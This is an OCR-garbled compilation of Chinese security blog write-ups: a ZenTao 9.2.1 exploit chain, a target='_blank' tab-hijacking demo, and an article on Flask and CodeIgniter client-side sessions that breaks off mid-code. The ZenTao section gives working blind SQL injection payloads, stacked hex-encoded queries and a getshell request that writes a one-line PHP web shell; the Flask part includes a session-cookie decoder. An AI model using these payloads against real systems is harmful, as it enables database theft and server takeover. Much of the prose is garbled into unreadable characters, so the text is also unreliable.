LI FEANRIRNZBEILER, IRE—K=1, BERERLE2EOREERN, TEEFIANNEXTHE
NS REREEIFTRS,

FRIARRZR
55 BT ORI — T 4 RIEAR A,

http://example.com/index.php?mode=getconfig

< C @& ¥2 | https:/jon wa ' rawry'index.php?mode=getconfig
MR Pad EERAsm T Soivey Eeey EFmee 30

{"version":"9.2.1","requestType":"GET","requestFix":"—
" "moduleVar":"m","methodVar":"f","viewVar":"t","sessionVar":"zentaos

SQLEA

M _EZBIET—19.1.200rderBy ER I 04, ERIRIEEN9.2.1tW 77L&, (2018.3.25 & BRI&
AR A Z29.8.1),
H B BRES i 5 2 It S RYorderBy KL \lib\base\dao\dao.class.php

public function orderBy($order)
{

if($this—>inCondition and !$this—>conditionIsTrue) return $this;

$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "'" in order string. x/

/* When order has limit string. */

$pos = stripos($order, 'limit');

$orders = $pos ? substr($order, @, $pos) : $order;
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$limit = $pos ? substr($order, $pos) : '';

$orders = trim($orders);

if(empty($orders)) return $this;

if(1preg_match('/~(\wH\.)?(\w+" [\w+) ( +(desc|asc))?( *(, *x(\w+\.)?(\w+" [\w+) ( +(desc|asc))?)?)*$/i", $orders)) die
("Order is bad request, The order is $orders");

$orders = explode(',', $orders);
foreach($orders as $i => $order)

{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = $value;
/* such as tl.id field. x/
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
if(strpos($field, '"') === false) $field = " ¢$field™";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
+
$orders[$i] = join(' ', $orderParse);
if(empty($orders[$il)) unset($orders([$il);
+
$order = join(',', $orders) . ' ' . $limit;
$this—>sql .= ' ' . DAO::ORDERBY . " $order";

return $this;

T Imit ER M ASRE IS HIBT, A/EHIEE T order by GEISHEIEN,

$order = join(',', $orders) . ' ' . $limit;

E7— 1981092 imit AT IENRS], EREX ERERELAENREE T —bug, LLWIEEER
orderBy($order) 9Bt {E, EF$orderabe desc limit 1,19851%, #HAS$ImitNZlimit 1,1, SFRITHEKMK,

/* Add "'" in order string. x/
/* When order has limit string. */

$pos = stripos($order, 'limit');

$orders = $pos ? substr($order, @, $pos) : $order;

$limit = $pos ? substr($order, $pos) : '';

if($limit and !preg_match('/~[0-9]1+ *(, *x[0-9]1+)?%/', $limit)) $limit = '';

MRBEEMBISEN (TFER) WIE, METEEREHNTILERD, FE25A1ERorderByREN,
\zentao\module\common\model.php
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{
if($module == 'user' and strpos('login]|logout|deny|reset', $method) !'== false) return true;
if($module == 'api' and $method == 'getsessionid') return true;
if($module == 'misc' and $method == 'ping') return true;
if($module == 'misc' and $method == 'checktable') return true;
if($module == 'misc' and $method == 'qrcode') return true;
if($module == 'misc' and $method == 'about') return true;
if($module == 'misc' and $method == 'checkupdate') return true;
if($module == 'misc' and $method == 'changelog') return true;
if($module == 'sso' and $method == 'login') return true;
if($module == 'sso' and $method == 'logout') return true;
if($module == 'sso' and $method == 'bind') return true;
if($module == 'sso' and $method == 'gettodolist') return true;
if($module == 'block' and $method == 'main') return true;
if($this—>1loadModel('user')—>isLogon() or ($this—>app->company—->guest and $this—>app->user—>account == 'guest'))
{
if(stripos($method, 'ajax') !== false) return true;
if(stripos($method, 'downnotify') !== false) return true;
if($module == 'tutorial') return true;
if($module == 'block') return true;
if($module == 'product' and $method == 'showerrornone') return true;
+
return false;
b

HAif($module == 'block' and $method == 'main') return true;, Wt EARBITA, AL,

\zentao\module\block\control.php

class block extends control
{
public function __construct($moduleName = '', $methodName
{
parent::__construct($moduleName, $methodName);
$this->selfCall =
sion->blockModule;
if($this—>methodName != 'admin' and $this—>methodName
1$this—>1oadModel('sso')->checkKey()) die('"');

+
public function main($module = '', $id = 0)
{
$mode = strtolower($this—>get->mode);
if($mode == 'getblocklist')
{
b
elseif($mode == 'getblockform')
{
+
elseif($mode == 'getblockdata')
{

strpos($this—>server—>http_referer, common::getSysURL())

||)

0 || $this—>ses—

!= 'dashboard' and !$this->selfCall and
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$code = strtolower($this->get->blockid);

$params = $this->get->param;

$params = json_decode(base64_decode($params));

$this—>viewType = (isset($params—>viewType) and $params—>viewType == 'json') ? 'json' :
'html';
$this—>params = $params;
$this->view->code = $this->get->blockid;
$this->view—>title = $this->get->blockTitle;
$func = 'print' . ucfirst($code) . 'Block';
if(method_exists('block', $func))
{
$this—>$func($module);
i
else
{
$this—>view—>data = $this—>block—>$func($module, $params);
+
}
+

BYcE_ constructd, $this—>selfCall2EitrefererfdE, WRANBEMENEEMINEASHNdeIEG ER

ERIRHMainKE, TUEEIRER$Tunc = 'print' . ucfirst($code) . 'Block';, &=3Xf—LEREFHITIE
B, 51ttER, FHA1EZRorderByRYiE BRI B A& M printCaseBlock R HITFE

\zentao\module\block\control.php

Folder as Workspace E EESBNE B controlohe B |
= a 468 J] public function printCaseBlock()
=3 zentao 468 [ f
[ bin 3 470 $this->session->set ('caselList', $this->server->http_referer);
[ config 471 $this->app->loadLang ('testcase');
-5 db 472 $this->app->loadLang ('testtask’);
-2 doc 473
[ framework 474 S$cases = array|();
- lib 475 if ($this->params->type = 'assigntome')
[ module 476 H {
-] tmp 477 $cases = $this->dao->select('tl.ass edTo AS assignedTo, t2.*')->from(TABLE TESTRUN)->alias('tl')
-] waww 478 ->leftJoin (TABLE_CASE)->alias('t2')->on('tl.case = t2.id")
= okt 479 —>leftJoin (TABLE TESTTASK)->alias('t3')->on('tl.task = t3.id'")
/=] VERSION 480 —>Where('tl edTo')->eq($this->app->user->account)
481 —>andWhere ('t us')->ne('done')
482 ->andWhere ('t3.=status')->ne('done')
483 ->andWhere ('t3.deleted"')->eq(0)
484 ->andWhere ('t2.deleted"')->eq(0)
485 ->orderBy ($this->params->orderBy)
486 ->beginIF (§this->viewIype != 'json')->limit((int)$this->params->num)->£fi ()
487 —->fetchaAll();
488 r ¥
489 elseif ($this->params->type = 'openedbyme')
430 H {
491 $cases = $this->dao->findByOpenedBy ($this->app->user->account)->from(TABLE_CASE)
492 —>andWhere ('deleted')->eq(0)
493 ->orderBy ($this->params->orderBy)|
I ->beginIF ($this->viewIype != 'json')->limit((int)$this->params->num)->£fi ()
495 ->fetchAll();
496 r ¥
a —— B i
Find result - 85 hits
mpp\zentao\lib\base\dao\dao.class.php (1 hit)
32 public function orderBy($order)
mpp\zentao\module\action\model.php (3 hits)
3 -»orderBy (SorderBy) ->page ($pager) ->fetchall () ;
->orderBy (SorderBy) ->page ($pager) ->fetchall () ;
b ->orderBy (SorderBy)
npp\zentao\module\block\control php (2 hits)
—>ord $this-»params->orderBy)
Sthis->params->orderBy)
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FRUABTI &3 NI NI IR B EEBGEM 7, ABA R A2
SQLEANFIH

EhYskse, EANEERwindowsEEZN—RBHLERR, HEEEFRANBErooti R, SHAEIES
Hishell, BRUEEEXASMRIHE, IFFXMENRIZA0ME EEUE,

sql = 'select user()"'
param = '{"orderBy":"order limit 1;select (if(ord(mid((%s),%d,1))=%d,sleep(2),1))—","num":"1,1"," type":"openedbyme"}" %
(sql,n,i) ,1))—","num":"1,1", "type":"openedbyme"}' % (sql,n,i)

BERXFZEON, XNEENNBRHSE.

ENBEEERNREREE, SEBAELEIANEAPKSERNRE, EIMERIDSE HETE.

sql = 'select 12345 from zt_user'

FBREBHEUE, BUNEEEAR TR, FMUBEETInformation_schemaB&il—T&®&, B2
BOMOAE, tHABEIEEN? MIEWM T ? EERER A ESBAE—TRIIR,

EROEEN T —1 855, FE Lreferer, E—TIREBEER.

http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmR1lckJ5Ijoib3JkZXIgbGlta
XQgMSwxJyIsIm51bSI6IjESMSIsINR5cGUi0iIveGVuZWRieWllIn0=

Hrhparam&2iIBASE64 #3153

{"orderBy":"order limit 1,1'","num":"1,1","type":"openedbyme"}

@ Load URL =p"CIE 2 fs/index.php?m=block i d blockid: JvemRIickJ5ljoib3Jk QgM
U split URL

JiOiJveGVUZWRieW1lIn0=

)| Execute
~ Enable Post data [ Enable Referrer

Referrer http:/™=® M=l FEE"TE

22:26:04 ERROR: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax t
near " lImiT 1' at line 1

The sql is: SELECT %s FROM %s wHeRe openedby AND deleted = '0' oRdEr bY “order limit 1,1' llmiT 1
in lvarlwww/html/zentaopmsll|b/base/daoldao class php on line 1318, last called by /varlwwwlhtmIlzentaopmslllblbase/dao/dao class php on line 717 through function sqlError.

in/ .class.php on line 1932 when visiting /index.php?!
d |l y }IckJ5ljoib3JkZXIgbGltaXQgMSwxJylsim51 bSISI]EsMSIsInR5cGU|0|JchVuZWR|eW1 1In0=

ERPDOMIXFR, SQALRHIRZE%SENRMN, PILKRBEBFEIESR,

BAMABRERFEHRISQREDEREWNRS, LR ApolygonKEX.,

Imysql> select * from test where id=1 and Polygon(1);
ERROR 1367 (22007): Illegal non geometric '1' value found during parsing
Imysql> select * from test where id=1 and Polygon(id);

ERROR 1367 (22007): Illegal non geometric '‘test’. test’.'id’' value found durin|
o parsing

EEANRPILEBANIMItFEREAR, ERNERZIEGNIE, REZXRABE, MAUMERZEIMItER
BATIEN
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http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckI5Ijoib3JkZXIgb
GltaXQgMSwxIFBSTONFRFVSRSBBTkFMWVNFKHBVbH1Nb240aWQpLDEPIyIsIm51bSI6IjESMSISINR5cGUi0iIvcGVuZWRieWllIn®=

param base64f#h3
{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"openedbyme"}

TINT = @ SQL™ XSS~ Encryption™ Encoding™ Other™
@ LloadURL || I i hp?m=bloch i Biocikid
% Split URL param=eyJvcmRIckJ5ljoib3Jk BSTONFRFVSRSBBTkrl AWVNFKHBVbF 'QpLDI j JiOiJveGVUZWRieW1lin0=

» Execute

~ Enable Post data [ Enable Referrer

Referrer http://lemon.love/zentao/

string(25) "http:/lemon.love/zentao/" string(17) "http://lemon.love" bool(true) int(1) int(1)
22:36:49 ERROR: SQLSTATE[22007]: Invalid datetime format: 1367 lllegal non geometril: "zentao'.’zt_case’.’id"' vallle found during parsing

The sql is: SELECT %s FROM %s wHeRe openedby AND deleted = '0' oRdEr bY “order" limit 1,7 PROCEDURE ANALYSE(polygon(id),1)# limiT 1

inC \test\xampp\zentao\l|b\base\dao\dao class php on line 1318, last called by C. \test\xampp\zentao\llb\base\dao\dao class php on Ilne AT through functlon sqlError.
|n C:\ class.php on line 1932 when visitin
kid: all y ...,.\J5I10|b3JkZXIgbGItaXQgMwaIFBSTONFRFVSRSBBTkFMWVNFKHBvaInb24anQpLDEplyIsIm51 bSIGI|EsMSIsInRScGU|O|JchVuZWR|eW1 lin0=

FEAAEMNE, E2ImitAEANFImysqlikA B —Ltx R, BRI _EHpayload{XBRFEARA A AJ R
BEALRE, BA=EM2E, BinERNRSHRAmysqgl,

ABEAR LZ1ES), FEABEAinformation_schemafJign T, AJLLEE FENEERIATEE:

show table status where name = 'xxx' and sleep(2)

B RpyEEMpayload = iX AT

sql = "show table status where hex(substr(name,1,8))="'7a745f75736572%s"' and sleep(2)" % binascii.b2a_hex-—
(chr(i))

param = '{"orderBy":"order limit 1,1;%s—-","num":"1,1","type":"openedbyme"}"' % sql

—EBIERI, REBMEERIANNZzL, BN NEEB I B EIEE?

FHBERBEEorderByRE, LIV T IR,

$order = str_replace(array('|"', '', '_"'), ' ', $order);

ETYELTIRET, BEXMESZIEDT, FIUFABmysqIMEEREY, E/ETENE, X ThHRE
BERNGHR,

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;
PREPARE pord FROM @SQL; EXECUTE pord;SET @QL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C554553202827
61616161272(27616161612729; PREPARE pord FROM @SQL;EXECUTE pord;

EAHadminZRBR0RHE, REMLIAERT, TRZT, REAZI-—TEEKS.

Getshell
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*ﬁﬁﬁﬁﬁﬂ:getshellﬁﬁﬁﬁT—,'f—:"\/l)\,%, BRIZF TR MEEES Xfgetshell (RFRAFEFEXER
f13) , TEBENNREZEERNE

BT -THEEEARARRMER, AR TERE. mRiE, 5EEE, AAEERFAS,
HPARAEERSARBEAT, EERMNAINEBE-TSEEENERE, BAXTASHNRENMUE
BEAFPHOBPANR. A2EREEKSH, HMNTUE—TEBRSENEER,

BN EZ S X HGetshell:

/xampp/zentaopro/module/api/control.php

public function getModel($moduleName, $methodName, $params = '')
{

parse_str(str_replace(',"', '&', $params), $params);
$module = $this->loadModel($moduleName);

$result = call_user_func_array(array(&$module, $methodName), $params);
if(dao::isError()) die(json_encode(dao::getError()));
$output['status'] = $result ? 'success' : 'fail';

$output['data'l
$output['md5']
$this—>output
die($this—>output);

json_encode($result);
md5($output['data']);
json_encode($output);

AUEBERIE#H AN T call_user_func_array, 2T MERSEFI—"Tmodule 5%, FHIEMNSEHD
AR, JNEE, RS EISE,

/zentaopro/module/editor/model.php

public function save($filePath)
{
$fileContent
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$',

$this—>post->fileContent;

‘include', 'require', ‘'assert');

$gibbedEvils = array('e va l1', 'e x e c', passthru', proc_open', 'shell_e
xec', 'system', '$$', 'include', 'require', 'assert';
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);

if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

$dirPath = dirname($filePath);

$extFilePath = substr($filePath, @, strpos($filePath, DS . 'ext' . DS) + 4);
if('is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, @777, true);
if(is_writable($dirPath))

{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang—>editor->notWritable . $extFilePath));
+
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freditorh @A A E—3FRY, filePathml#Z, fileContentth 2128, X T2 MERS — 1.
Exp:

http://example.com/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=aaaaaa.php

POSTRZA:
fileContent=<?php $_POSTI[1]($_POST[2]);

BEMshel Uit 2\zentaopro\module\api\aaaaaa.php

BREEANET, FIEREERSINERZEZRIEGEM TR (XESXET, BE2OMT—1
www, FTAMARIEINIRE) , REMBIBETNzt NleIRER L EXHNEREZ, REBFshelEANEHT1E
MR,

4 Lt
ﬁgké&]

XJF-order byARIBAEAHITEHHAOI R, FowE EEMABERRD LB,

1. BiRlimitdo, ARREHIER

if(!preg_match('/~(\w+\.)?2("\w+" [\w+) ( +(desc|asc))?( *(, *(\w+\.)?( \w+ |\w+)( +(desc|asc))?)?)*$/i",
$orders)) die("Order is bad request, The order is $orders");

2. RRBHINETFEHAITREISHRM

$orders = explode(',', $orders);
foreach ($orders as $i => $order) {
$orderParse = explode(' ', trim($order));
foreach ($orderParse as $key => $value) {
$value = trim($value);
if (empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') {
continue;

b

$field = $value;
/* such as tl.id field. x/
if (strpos($value, '.') !'== false) {
list($table, $field) = explode('.', $field);

+
if (strpos($field, ''') === false) {
$field = " ¢$field™ ";
+
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;

unset($table);
+
$orders[$i] = join(' ', $orderParse);
if (empty($orders[$il)) {
unset($orders[$i]);

b

ETIEMEECAZERREYNN, ARF—TTIEEH L, FEEBIAREN.
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EINGESIEN
VY, =t ol I

fE&: PhithOn

HTFSKREN—RXE (BRAtarget="_blank"5 “opener”) , BEEEH T —NEHIRS, HI
target="_blank"fIEHE, FHFTFARITIE A BUBIIwindow.opener>RIZHIJRTTEAOURL, #HITHBKEH., XD
WHFAREBE (HTMopenertd xR) Fthinid, XBEMABERT ., XEXEMHB—Fh5targetE %
MWHBRE.

0x01 X RIER
BRAMNE—TNEF

http://675ba661.2m1.pw/41593a

T LRz, RERE click me”, IIATEHE, ENEEMIE, NOBREEE, REERNFS
108, BREEMUE, XTHMEEEEMBEENRNLT; BMELRENBIIREESFIE, RBDHAE
XMRETTS, AL ASHIES
0x02 JRIE17EA

ERATTEREBRER:

<html>

<head><meta charset="utf-8"></head>

<body>

<a href="https://www.baidu.com" target="baidu" id="baidu" onclick="return

start()">click me</a>

<script>
function start() {
setInterval(function() {
baidu.href="http://675ba661.2ml.pw/baidu";
baidu.click();
}, 10000);
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}
</script>
</body>
</html>

MRAF RE TR click me”, XERBM—NMEHRENEE, S0V, BRIGBHEZENMIE
BE—MPEENNERNEE, HFEARE. (3R, IRBEXXENE, SHFEM—TEXBERNRR
525, XM EHS—HBXE (openresty+luaft RAIMRIERSPHIITE) PHEFANNA)

XE, BiiENtargetBIETEE BIRURLEM N ILE NI/, #ME BRI Ewindow.name, RX
atnEMhrefRE T EMN, BRARLHEE, NTHINASERRNRER NI, FAUMES 7T E—XITFN
H.

teal, BB MU S RENTEEMI, BPERMNNE EITATEE. BESREAE, )
BRI DMRIER P ITITROBHHIZREMNENHE, WEXLEMGNERTE, KELHTHE., HXEH A

ITERT .

0x03 ¥ E=11
&7 HBEEEISN, Awindow.openth B DUAZE] —HEARIER -

<html>

<head><meta charset="utf-8"></head>

<body>

<a href="javascript:;" onclick="return start()">click me</a>

<script>
function start() {
var w = window.open('https://www.baidu.com', 'baidu');
setInterval(function() {
w. location = 'http://675ba661.2ml.pw/baidu’
}, 5000)
¥
</script>
</body>
</html>

A, window.openZ B SIZEAEXMINGELIELLTE, FRUARRE R EZABHE,

BA, BERANAR. P MEREESZMwindow.nameB XIB? BAZFER(FET ENTTEL
name, BRI E TTEAJURLEITIZS]?

HATEI DA — L5, RBEATIE ( http://a.675ba661.2m1.pw/A_victim ) :
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<html>

<head><meta charset="utf-8"></head>
<body>

<p>Hello world.</p>

<script>

window.name = ‘baidu';

</script>

</body>

</html>

REBTIE ( http://b.675ba661.2m1.pw/B_attacker ) :

<html>

<head><meta charset="utf-8"></head>

<body>

<a href="https://www.baidu.com" target="baidu" id="baidu">click me</a>
</body>

</html>

ATTEZBinWiG, Ed8E B CHnamebaidu; BREIEGEENTE, EAi&Btarget="baidu"

S, BMEBFT AT click me’bAfg, A —"THMNNHE, mMASBRATTENURL, XL
BA, URLAYZFZEZEFFMwindow.namelSBEIZX R, MM ENRX FERE X,
0x04 R4s

AR E B XN FlopenerfKE A VLB, HEREAEEENIE R T, BTHBiinsig

URL, #m#AITHEXE,

BEREXITREIHAREE, ANEMER,ENMETRABCHER, BN BETBHERTEE
NIAE, XTI KR E R BRITENESIN, Ee EAERTEAXFANERLT, BJBUKXE
T E AR
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= FPissessionS
27 o) 7

fE&: PhithOn

EWebHl, session@IMERF SMENEILE, EREU TN/ TER:

1.HAPARUEREN
2. AF P #sessionTo A B REL

2%, sessionBiZITENENTHAFLEMINE, BE, RZI1ERT, sessiont®B1ET BIHA
&, BrrE—EZ22O, HISKMFIXKL“EFimsession” (client session) SHAZ £ (o)A
0x01 (T A& Fimsession

EEFHPHPF &H, $_SESSIONTEHABTRINEHREFERSIHHN— TG, — I “PHP-
SESSID”#JCookie X, XZsessionZ “fRSSimsession”, AP BRI R EsessionfIZIR (— 1N
MERFS) , HASREFERS A,

A, HARFIEIES B HKIANsessionFHENF, BAREMIER TEMNEBITUNECREEREAX
4, BALA, RZWebiEZREi5 BREIZEZ, tbalDjangoBiNEsessionZHEAELUIEES, MX FaskiX BH R
SRIRERIEELR, 7R EEKsessionfzfi#TEcookied,

ERMcookieXLfr L 2EMAERFin (N5T2s) R, FALAFRZN “EFimsession”,
0x02 {RIFE Fimsession

FsessionfFETEE FPimcookied, fFxEEMIM M RsessionNEEM E LAY G,

A& ENask 2O 4 IERY

class SecureCookieSessionInterface(SessionInterface):

"""The default session interface that stores sessions in signed cookies
through the :mod: itsdangerous™ module.
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#: the salt that should be applied on top of the secret key for the
#: signing of cookie based sessions.

salt = 'cookie-session'

#: the hash function to use for the signature. The default is shal
digest_method = staticmethod(hashlib.shal)

#: the name of the itsdangerous supported key derivation. The default
#: is hmac.

key_derivation = 'hmac'

#: A python serializer for the payload. The default is a compact

#: JSON derived serializer with support for some extra Python types
#: such as datetime objects or tuples.

serializer = session_json_serializer

session_class = SecureCookieSession

def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)

def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)
return self.session_class(data)
except BadSignature:
return self.session_class()

def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
# Delete case. If there is no session we bail early.
# If the session was modified to be empty we remove the
# whole cookie.
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if not session:
if session.modified:
response.delete_cookie(app.session_cookie_name,
domain=domain, path=path)
return
# Modification case. There are upsides and downsides to
# emitting a set-cookie header each request. The behavior
# is controlled by the :meth: should_set_cookie' method
# which performs a quick check to figure out if the cookie
# should be set or not. This is controlled by the
# SESSION_REFRESH_EACH_REQUEST config flag as well as
# the permanent flag on the session itself.
if not self.should_set_cookie(app, session):
return
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(app.session_cookie_name, val,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)

FTEEREMTRM, I 7URLSafeTimedSerializer , BEMdumpsH &L N=F

WERFINRFHE, SAEHAresponse.set_cookield REHA B {RTZECcookie

BAEATT AE—TFURLSafeTimedSerializer Mt 489

class Signer(object):
# ..
def sign(self, value):
"""Signs the given string."""
return value + want_bytes(self.sep) + self.get_signature(value)

def get_signature(self, value):
"""Returns the signature for the given value"""
value = want_bytes(value)
key = self.derive_key()
sig = self.algorithm.get_signature(key, value)
return base64_encode(sig)

class Serializer(object):
default_serializer = json
default_signer = Signer
# ..

Bifgsession
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def dumps(self, obj, salt=None):
""!"Returns a signed string serialized with the internal serializer.
The return value can be either a byte or unicode string depending
on the format of the internal serializer.
payload = want_bytes(self.dump_payload(obj))
rv = self.make_signer(salt).sign(payload)
if self.is_text_serializer:
rv = rv.decode('utf-8")
return rv

def dump_payload(self, obj):
"""Dumps the encoded object. The return value is always a
bytestring. If the internal serializer is text based the value
will automatically be encoded to utf-8.

return want_bytes(self.serializer.dumps(obj))

class URLSafeSerializerMixin(object):
""'"Mixed in with a regular serializer it will attempt to zlib compress
the string to make it shorter if necessary. It will also base64 encode
the string so that it can safely be placed in a URL.
def load_payload(self, payload):
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
json = base64_decode(payload)
except Exception as e:
raise BadPayload('Could not base64 decode the payload because of '
'an exception', original_error=e)
if decompress:
try:
json = zlib.decompress(json)
except Exception as e:
raise BadPayload('Could not zlib decompress the payload before '
'decoding the payload', original_error=e)
return super(URLSafeSerializerMixin, self).load_payload(json)

def dump_payload(self, obj):
json = super(URLSafeSerializerMixin, self).dump_payload(obj)
is_compressed = False
compressed = zlib.compress(json)
if len(compressed) < (len(json) - 1):
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json = compressed

is_compressed = True
base64d = base64_encode(json)
if is_compressed:

base64d = b'."' + base64d
return base64d

class URLSafeTimedSerializer (URLSafeSerializerMixin, TimedSerializer):
"""Works like :class: TimedSerializer® but dumps and loads into a URL
safe string consisting of the upper and lowercase character of the
alphabet as well as " '_'"", "*'='""" and " '.' ",

default_serializer = compact_json

FExEdump_payload. dumps, X2F5|tsessionfIEETE,
an, RIMENIRES U T™LE:

1.json.dumps ¥ 3 REERRY jsoNFFE, 1ENEIE

2QUMRBIEEREKEER, NWAzIbERITESE

3. B HUE B base644Ri3

4B IhmacEEITEIIRENE R, BEIWENIESR, B .22

BALHBAR T AP Eiksessioni o], FENEAFEsecret_keylIER T, BT ENEERN,

&/, HflltEcookieFFigEE IR E FRYsession T
* |ocalhost | session

tj =]

‘\ ey|hZG1pbil6dH]1ZX0.DZksX0Q.LX6mhgCSYiVmMrtjsTa5zl1kZ60

@

HE

|Iucathus: ‘
BEE

/ |
R

|25!03!2[}19 09:07 PM ‘

hostOnly [+] session [ =22 [ httpOnly (]

ERE, EB4LH, fask(UXNEBIEAIT TR, RAAFAXMRZE, EROEMEMHENR, MITARLE
WALEY, MflaskF R BIREINZIRIE, FTAHsessionE AT EE A UEZFIHIZEA, XA 8IS A

—LEREE,
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0x03 flaskE FifsessionS == Bt =
2B T—1=E, BireflaskFEWN—1EHEERS, IS ERKEZIBINEENR R, FKIKET

AR S5 imI% B Rsession,

HFEOX02FRYd, flask@—"1E Fifsession, FTIAE BinAflaskiyih ez, IS IREhEBRE
session, R/EU TSR session:

#!/usr/bin/env python3

import sys

import zlib

from base64 import b64decode

from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b’'.', 1)
payload, timestamp = payload.rsplit(b'."', 1)

decompress = False

if payload.startswith(b'."):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__
print(decryption(sys.argv[1l].encode()))

fFlan, FAEZOx02HE RAYsession:

python decryption.py " hZG1pbiI6dHI1ZX8.DZksXQ. L X6mhgCSYivmMrtjsTaszI1kZ68™

{"admin’: True}
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W AR BAniA R E9session, HAIHEIRE T — & Ntoken, BE—Hmd5rE. BNE L EIZEE
ROIINIE, RBEBRIKEI R 5ENtokend, RABRBHANENZETE, BIXTIE, HHMEEERE
BERPEET.

E— 1 HRHEBNZ2EE, BirMiGEidsessionkiEZRENtokenI I ANERF 2B BN RBFE U E!
TiXMtoken, BE N flaskiysession@ FfEfEcookie BINERZMARME, FAAEAIM A U E EIREHX T
tokens .

0x04 flaskIQIERS 5T R
XEEFifsessionfI B —"1 2 RS,

BATA—DLERAFIANRIX—=: https://github.com/shonenada/flask—captcha , XZ2—"1Hflask
RAKIEBNIE, FHNEIEFrOviewSfF:

import random
try:

from cStringI0 import StringIO
except ImportError:

from io import BytesIO as StringIO

from flask import Blueprint, make_response, current_app, session
from wheezy.captcha.image import captcha

from wheezy.captcha.image import background

from wheezy.captcha.image import curve

from wheezy.captcha.image import noise

from wheezy.captcha.image import smooth

from wheezy.captcha.image import text

from wheezy.captcha.image import offset

from wheezy.captcha.image import rotate

from wheezy.captcha.image import warp

captcha_bp = Blueprint('captcha', __name__)

def sample_chars():
characters = current_app.config['CAPTCHA_CHARACTERS']
char_length = current_app.config['CAPTCHA_CHARS_LENGTH']
captcha_code = random.sample(characters, char_length)
return captcha_code

@captcha_bp.route('/captcha', endpoint="captcha")
def captcha_view():



out = StringI0()
captcha_image = captcha(drawings=[
background(),
text(fonts=current_app.config['CAPTCHA_FONTS'],
drawings=[warp(), rotate(), offset()]),
curve(),
noise(),
smooth(),
1)
captcha_code = ''.join(sample_chars())
imgfile = captcha_image(captcha_code)
session['captcha'] = captcha_code
imgfile.save(out, 'PNG')
out.seek(0)
response = make_response(out.read())
response.content_type = 'image/png'
return response

B0, HAERWKIEEGE, #EfEftsessiond T session['captcha'] = captcha_code,

HATRN K215 (0)/captcha, BRI RIAEMFIIIERESE L, L EFIREFEECcookieHsessionfE,
FOx03 12 RO BI A 1T AR :

[ captcha 200x75) <

(c]

0YSI6Ik11INGRLING.DZ1sjA. R1IBAEYFKFsN_EsS'

PIOL, FeALINERER T IQIEASROME, Pt el A RIERSAIFIRT . X BEE P insessionfI—F IR 1E
Bk

Codeigniter 2fsessionthfif{FEsessiond, ZRIARZ Nci_session, ERIAMEWT:
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5 TBsH 34100 1on_id iB: 9db65 30124928 TTAEhIGTO2 36 A TZhEY 220 3BsH 341065348 221D _addr, E: 1 E: 10 _agent! IB: 115 Mozillab2Fa. 0+425Wind
ows+HIT+10. 0% 3B+Winf4%3E+xf 4% 23+ipn 1 eWebEi tH2FG37. 36+AIBEHTMLYAZC+] 1ke+Geckok 234Chr ome% 2FE 4. 0. G282, 186+5af ard %2FHAT. 36%22%53B43413%34%8221ast_activi tyh22%3Bi% 3410219996898 3843404348 22user_datab22W3E 5530003
A BHTDTIcca90d, 43ed%c8028240523209d1b 781 cae

i e s e i
UnicodesE3 | Unicodet® | suing Char code

2:5:{2:10: " session_id”;5:32:"3db6A301 24928 TTdfh 26 T0236c6T2bb " ;2110 : "ip_address” 5:3:7::1% 5210 "user_agent”;=:116: "Mozilla/B. O+ (Windows+NT+10. 0;+¥infi4:+x64) +4ppleWebki t/637. 36+
(EHTML, +1ike+Gecko) +Chrome 4. 0. 3282, 186+Safard /53T, 37, £:13: " last_activity”;1:1521999689 =19 Taser_data” 510177} 19ccB9042806482d9c8028240523209d1b T8 cae

B0, session#iEH# FAPHP B serialize REUATRIIMN, HEBEIENCi_sessionty{E, [RIE LA
flaskil £ —%, FHFAERT , BIFfEcodeigniter2X i session#TN%R, REAEREBEXHHIZE
$configl'sess_encrypt_cookie']l = TRUE;BIA],

ECI2 VAR MUBIRIRRAF, FE—13EMNZBRE ( https://www.dionach.com/blog/codeignit-
er-session-decoding-vulnerability ) , MR BRHFBEFEEZEMerypty B, NMCISER—MMETEER
S5A9 0% 5 TSk 4b i session:

function _xor_encode($string, $key)
{

$rand = '';
while (strlen($rand) < 32)

{
